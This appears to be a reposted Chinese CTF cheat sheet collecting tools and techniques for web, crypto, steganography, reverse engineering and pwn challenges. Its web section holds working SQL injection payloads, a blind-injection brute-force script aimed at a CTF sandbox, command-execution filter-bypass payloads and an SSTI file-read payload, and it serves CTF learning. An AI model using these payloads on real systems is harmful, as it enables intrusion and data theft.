[持續更新] CTF 紅寶書 by 時光不改


本篇文章整理了在做CTF練習過程中的各種利用工具和思路,方便自己查找和同樣玩CTF的朋友查看。

 

WEB 

sqlmap

123313 union select 1,2#
123313 union select 1,database()#
123313 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"#
123313 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag"#
123313 union select 1,flag from sqli.flag#
普通手工注入

 

報錯注入

 

import string
import requests

name = ''
strall = string.ascii_lowercase + string.digits + string.punctuation
# for k in range(1,15):
for j in range(1,50):
    for i in strall:
        # 查數據庫名
        # datas = "if(substr(database(),%d,1)='%s',1,(select table_name from information_schema.tables))"% (j,i)
        # 查表名
        # datas = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,j,i)
        # 查列名
        # datas = "if(substr((select column_name from information_schema.columns where table_name='zqjsjpvifa' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
        # 查內容
        # datas = "if(substr((select wdiqllcsoi from sqli.zqjsjpvifa),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
        re = requests.get('http://challenge-0c37e62039a49553.sandbox.ctfhub.com:10080/?id='+datas)
        html = re.text
        # print(html)
        if "ctfhub" in html:
            name += i
            print(name)
            break
布爾盲注

 

時間盲注

 

黑名單繞過思路

 SQL

0×01:進制轉換
1.二進制 0b1111101000
2.十六進制 0x38e
0×02:字節操作
1.l兩次取反 ~~1000
2.異或 200^800
3,按位與 992|8
0×03:運算符
1.乘法 200*5
2.除法 10/0.01
3.減法 200--800
4.負負 --1000
5.加法 200+800(地址欄輸入的話把+換成%2b)
0×04:sql注入構造
id=1 or 1=1#
id=id#
0×05:繞過函數
intval(\$id)會從字符串\$id的起始位置開始去數字碰到非數字就結束,當起始位置為非數字時則為0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
使用字符串繞過intval函數,單引號,雙引號,括號
(1000)
'1000'

 命令執行

preg_match("/system|exec|highlight/i",$c)
?c=highlight_file('config.php'); 
?c=System('tac config.php‘);

!preg_match("/system|exec|highlight/i",$c)
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

!preg_match("/system|exec|highlight|cat/i",$c)
?c=$a='sys';$b='tem';$d=$a.$b;$d("tac config.php");
system('ca""t config.php')  system("ca''t config.php")
linux有很多類似於cat的方法 tacmorelessheadtailnlsedsortuniq.
當然我們也可以單引號或者雙引號或者反斜杠繞過cat
比如 ca’'t config.php ca"t config.php ca\t config.php,因為是以字符串的形式,所以用單引號還是雙引號則要看你外層用的哪種了
php有很多的命令執行函數,因為題中禁用了其中幾個,我們還可以使用其他的
常見的系統命令執行函數

system(),passthru(),exec(),shell_exec(),popen(),proc_open(),pcntl_exec()
在linux中反引號的作用就是將反引號內的Linux命令先執行,然后將執行結果賦予變量。
c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

這次的過濾中增加了分號這樣我們就只能執行一條語句了,在eval()中的是php語句,分號禁了,我們只能用 ?>來閉合語句了
assert()會檢查指定的 assertion 並在結果為 FALSE 時采取適當的響應。如果assertion是字符串,它將會被assert()當做 PHP 代碼來執行,assert中 的字符串可以沒有分號
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

?c=echo `$_POST[1]`?>
然后再post傳入 1=cat config.php

?c=echo `$_POST[1]`;
然后再post傳入 1=cat config.php

 

 

抓包工具  Burp  hackbar

Fuzz字典 

https://github.com/TheKingOfDuck/fuzzDicts

https://github.com/1N3/IntruderPayloads

Git泄露

https://github.com/denny0223/scrabble

https://github.com/BugScanTeam/GitHack

https://github.com/WangWen-Albert/JGitHack

https://github.com/gakki429/Git_Extract

https://github.com/WangYihang/GitHacker

 

git 操作
git log -reflog 用來記錄你的每一次命令
git reset --hard xxxx 回退到某一個版本
git reset --hard HEAD^ 回退到上一個版本
git diff HEAD commit-id 比較版本變化

 

.DS_store泄露  https://github.com/lijiejie/ds_store_exp

http://java-decompiler.github.io/  java 反編譯 

反序列化  https://www.w3cschool.cn/tools/index?name=unserialize

https://www.exploit-db.com/       搜tp

ssti  試試{{config}}有回顯,直接打個python3的payload試試

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

PHP弱類型比較

jwt 攻擊  https://www.freebuf.com/vuls/219056.html  https://github.com/brendan-rius/c-jwt-cracker  https://jwt.io

 

 

加密

rsa

在線分解大素數  http://www.factordb.com/index.php

Python的gmpy2、libnum包

RSATools

CTF-RSA-tool

其他加解密

密碼分析腳本  https://github.com/jameslyons/python_cryptanalysis

wolfram  用於各類密碼算法分析的在線工具

MD5解密  https://www.somd5.com/  https://cmd5.com/

quipqiup  自動密碼求解器

柵欄加密  https://www.qqxiuzi.cn/bianma/zhalanmima.php

凱撒密碼  https://www.qqxiuzi.cn/bianma/kaisamima.php

豬圈密碼解密 http://www.metools.info/code/c90.html

培根密碼  https://tool.bugku.com/peigen/

埃特巴什碼(Atbash Cipher)  猜測uozt對應flag,u-f,o-l,z-a,t-g

Rabbit解密  http://www.jsons.cn/rabbitencrypt/  U2FsdGVkX19mGsGlfI3nciNVpWZZRqZO2PYjJ1ZQuRqoiknyHSWeQv8ol0uRZP94MqeD2xz+

Rabin加密 

Rabin

rot13

Quoted-printable編碼  http://web.chacuo.net/charsetquotedprintable  =E7=94=A8=E4=BD=A0=E9

JSFuck  ()+[]! ,或是在console直接運行

Brainfuck/Ook

jjencode與aaencode解密     

$=~[];$={___:++$,$$$$:   
゚ω゚ノ= /`m´)ノ ~┻━┻ / ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) 錁熚橈緹錁�=(錁熜旓緹+ 錁燂槳錁� 需火狐轉碼

serpent加密  http://serpent.online-domain-tools.com/  ~v嗆i3でmK?+佣?"

escape加密  http://tool.chinaz.com/Tools/escape.aspx  !9]DXSad<4!:go7XC3xE>=B]\3]F.k$+2.

base16解密  https://www.qqxiuzi.cn/bianma/base.php?type=16  666C61677B495F4C4F56455F3336447D

base92加密  http://ctf.ssleye.com/base92.html

 

 

雜項

http://www.efittech.com/hxdec.html  識別漢信碼

http://code.mcdvisa.com/  中文電碼

angr fuzz  angr安裝

1.安裝依賴(基本開發環境):
sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
 
2.virtualenvwrapper初始化:
首先設置一個環境變量WORKON_HOME
export WORKON_HOME=$HOME/Python-workhome
這里的$HOME/Python-workhome就是准備放置虛擬環境的地址
 
啟動virtualenvwrapper.sh腳本
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
注意:可以使用whereis virtualenvwrapper.sh命令查看腳本的位置
 
3.在python3的環境下安裝angr:
mkvirtualenv --python=$(which python3) angr && pip install angr
 
4.安裝好后在其他的命令在一個新的終端窗口直接運行workon,並沒有創建的angr虛擬環境,需要執行下面兩條命令才可以:
export WORKON_HOME=$HOME/Python-workhome
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
可以寫一個shell腳本包含兩條命令,以后直接運行shell腳本即可。

virtualenvwrapper操作命令: 
 
創建環境 
mkvirtualenv env1  
環境創建之后,會自動進入該目錄,並激活該環境。

切換或進入環境 
workon env1 

列出已有環境 
workon 

退出環境 
deactivate 

刪除環境 
rmvirtualenv
angr安裝
1
import angr

p = angr.Project('martricks',auto_load_libs=False)
state = p.factory.entry_state()
simg = p.factory.simgr(state)
simg.explore(find=0x400A84,avoid=0x400A90)
simg.found[0].posix.dumps(0)

2
import angr

p = angr.Project("martricks")
simgr = p.factory.simulation_manager(p.factory.full_init_state())
simgr.explore(find=0x400A84, avoid=0x400A90)
simgr.found[0].posix.dumps(0)
fuzz代碼

ASCII 在線轉換器

生成紅黑樹

https://gchq.github.io/CyberChef/  編碼轉換工具

CaptfEncoder  編碼轉換工具  https://github.com/guyoung/CaptfEncoder/releases

DAPR  密碼破解

DAPR

 

新約佛論禪/佛曰  http://hi.pcmoe.net/buddha.html

與佛論禪  http://www.keyfc.net/bbs/tools/tudoucode.aspx

CTF在線工具   http://ctf.ssleye.com/

盲水印隱寫  https://github.com/chishaxie/BlindWaterMark        python bwm.py decode 1.png 2.png flag.png(圖片必須在py目錄下…)

掃碼  https://online-barcode-reader.inliteresearch.com/

數據包修復  http://f00l.de/hacking/pcapfix.php

音頻提取數字號碼  dtmf2num.exe

進制轉換  https://tool.lu/hexconvert/

16進制轉字符串  https://www.bejson.com/convert/ox2str/

漢字編碼  田 0 由 1 中 2 人 3 工 4 大 5 王 6 夫 7 井 8 羊 9

十二星座的符號,聯想到十二進制,分別對應 0123456789ab

白羊座 ♈ U+2648(3月21日 - 4月20日)
金牛座 ♉ U+2649(4月21日 - 5月21日)
雙子座 ♊ U+264A(5月22日 - 6月21日)
巨蟹座 ♋ U+264B(6月22日 - 7月22日)
獅子座 ♌ U+264C(7月23日 - 8月22日)
處女座 ♍ U+264D(8月23日 - 9月22日)
天秤座 ♎ U+264E(9月23日 - 10月23日)
天蠍座 ♏ U+264F(10月24日 - 11月22日)
射手座 ♐ U+2650(11月23日 - 12月21日)
摩羯座 ♑ U+2651(12月22日 - 1月20日)
水瓶座 ♒ U+2652(1月21日 - 2月19日)
雙魚座 ♓ U+2653(2月20日 - 3月20日)
星座編碼

馬賽克還原  https://github.com/beurtschipper/Depix

 

                                     

 

               

 

 

 

隱寫

binwalk -e  用於搜索給定二進制鏡像文件以獲取嵌入的文件和代碼的工具

dd if=隱寫文件 of=輸出文件 skip=偏移 bs=1

foremost  用來文件還原分離

Steghide  將文件隱藏到圖片或音頻中的工具

安裝
apt-get install steghide

隱藏文件
steghide embed -cf [圖片文件載體] -ef [待隱藏文件]
steghide embed -cf 1.jpg -ef 1.txt

查看圖片中嵌入的文件信息
steghide info 1.jpg

提取圖片中隱藏的文件
steghide extract -sf 1.jpg
steghide

LSB-Steganography  LSB隱寫  https://github.com/RobinDavid/LSB-Steganography

Usage
LSBSteg.py

Usage:
  LSBSteg.py encode -i <input> -o <output> -f <file>
  LSBSteg.py decode -i <input> -o <output>

Options:
  -h, --help                Show this help
  --version                 Show the version
  -f,--file=<file>          File to hide
  -i,--in=<input>           Input image (carrier)
  -o,--out=<output>         Output image (or extracted file)
LSB-Steganography

stegsolve  圖片隱寫查看器   http://www.caesum.com/handbook/Stegsolve.jar

stegdetect  自動化數字圖像隱寫分析工具

jphide

檢測該圖片用的是哪種加密方式
stegdetect.exe -tjopi -s 10.0 hide.jpg

用stegdetect下的stegbreak字典破解,同樣圖片和stegbreak.exe在同一目錄下
stegbreak.exe -r rules.ini -f password.txt -r p hide.jpg

使用jphide下的工具JPHS從hide.jpg圖片提取出隱藏信息

 

snow html隱寫  http://fog.misty.com/perry/ccs/snow/snow/snow.html

snow 是一款在html嵌入隱寫信息的軟件,
它的原理是通過在文本文件的末尾嵌入空格和制表位的方式嵌入隱藏信息,
不同空格與制表位的組合代表不同的嵌入信息。
snow

ezgif  GIF 在線分幀工具

Audacity  一款免費的音頻處理軟件,常用於音頻隱寫

MP3Stego  音頻隱寫工具

MSU StegoVideo  AVI 視頻隱寫

F5-steganography  F5隱寫

pngcheck  檢查PNG圖片數據段的工具

wbs43open  PDF隱寫

寬字節隱寫  https://offdev.net/demos/zwsp-steg-js

視頻隱寫  ffmpeg -i 里面都是出題人.avi  -f image2 image-%05d.jpg

Steghide  一個命令行實用程序,可幫助我們隱藏圖像或音頻文件中的機密數據,它支持JPEG、BMP、WAV和AU文件。

$ sudo apt install steghide

現在,你可以將機密文件隱藏在圖像或音頻中,如下所示,我假設你已將要加密的機密文件和圖像或音頻文件放在同一文件夾中,如果將它們放在不同的文件夾中,則需要在以下命令中提供完整路徑:

$ steghide embed -ef secret.txt -cf ostechnix.jpg

系統會要求你輸入密碼:

Enter passphrase: 

Re-Enter passphrase: 

embedding "secret.txt" in "ostechnix.jpg"... done

在上面的示例中,我將名為secret.txt的文本文件嵌入到名為ostechnix.jpg的圖像文件中,你現在可以刪除原始的secret.txt文件,因為,我們只是嵌入了一個圖像文件,如果要嵌入多個文件,請將它們放在一個文件夾中並壓縮,然后按上述方法隱藏它。

要從圖像中提取秘密文件,只需運行:

$ steghide extract -sf ostechnix.jpg

輸入密碼以將其解壓縮:

Enter passphrase: 

wrote extracted data to "secret.txt".
安裝和使用Steghide的方法

Outguess  一個命令行stegnographic工具,用於隱藏圖像中的機密文件,目前,它支持PPM、PNM和JPEG圖像格式。

$ sudo apt install outguess

安裝后,轉到保存機密文件和圖像的位置,然后使用以下命令將機密文件嵌入到圖像中:

$ outguess -d secret.txt ostechnix.jpg output.jpg

這里,output.jpg文件是包含我們的機密數據文件的文件,保持安全並刪除其他所有內容。

你還可以將密碼短語添加到輸出文件中,如下所示:

$ outguess -k "my secret key:ywnz" -d secret.txt ostechnix.jpg output.jpg

用你自己的密碼替換“my secret key:ywnz”。

要提取文件,只需執行以下操作:

$ outguess -r output.jpg secret.txt

如果你使用了密碼,則使用此命令:

$ outguess -k "my secret key:ywnz" -r output.jpg secret.txt
安裝和使用Outguess的方法

 wav隱寫

wav隱寫-Audacity--silenteye
1)-打開wav文件,Audacity-效果-反向-播放
2)-Audacity-文件名-頻譜圖
3)-聲道里面夾雜着莫斯密碼,短的代表’.’,長的代表’-4)-Audacity-頻譜圖-attach-點擊頻譜-然后點擊修改spectrogram setting,把8000改為48000
5)-電話音分析(http://dialabc.com/sound/detect/)

 

 

逆向

QEMU full-system

EXE

IDA Pro 一款功能豐富的跨平台多處理器反匯編程序和調試器

IDA_Pro_7.2

OD

Ghidra

Detect It Easy

 

Android/APP

jadx-gui  Android/Java反編譯

JEB  Android逆向工具,可以反編譯和調試二進制代碼

jd-gui  將 class 文件反編譯為 Java 源代碼

Apktool  主要用於逆向 apk 文件。它可以將資源解碼,並在修改后可以重新構建它們。

ApkIDE  

dex2jar

 

.NET

dnSpy  一款.NET程序調試器和反編譯器

 

IOS

Frida 12.7.22    https://frida.re

HopperDisassembler v4   https://www.hopperapp.com

iOS13.3.1  checkra1n越獄   https://checkra.in

sslkill switch  https://github.com/nabla-c0d3/ssl-kill-switch2

 

PWN

 

gdb linux程序動態調試  apt-get install gdb

gdb-peda  gdb調試工具

gdb-peda安裝

objdump和readelf  快速查看二進制文件信息的工具

pwntools  PWN工具集,寫exp和poc的工具  pip install pwntools  http://docs.pwntools.com/en/stable/

checksec  檢查保護機制   apt-get install checksec

ROPgadget  找ROP鏈接  https://github.com/JonathanSalwan/ROPgadget.git

one_gadge    thttps://github.com/david942j/one_gadget  gem install one_gadget

LibcSearcher  泄露libc版本  (GitHub下載極慢,gitee)

安裝
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
LibcSearcher

libc-database  https://github.com/niklasb/libc-database

DynELF  查到libc的版本

集合安裝 apt-get install nasm gdb gcc binutils hexedit

CTF-pwn-tips  https://github.com/Naetw/CTF-pwn-tips

格式化字符串漏洞檢測  https://github.com/L4ys/LazyIDA 

 

綜合

 

https://www.ctftools.com/  CTFTools

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM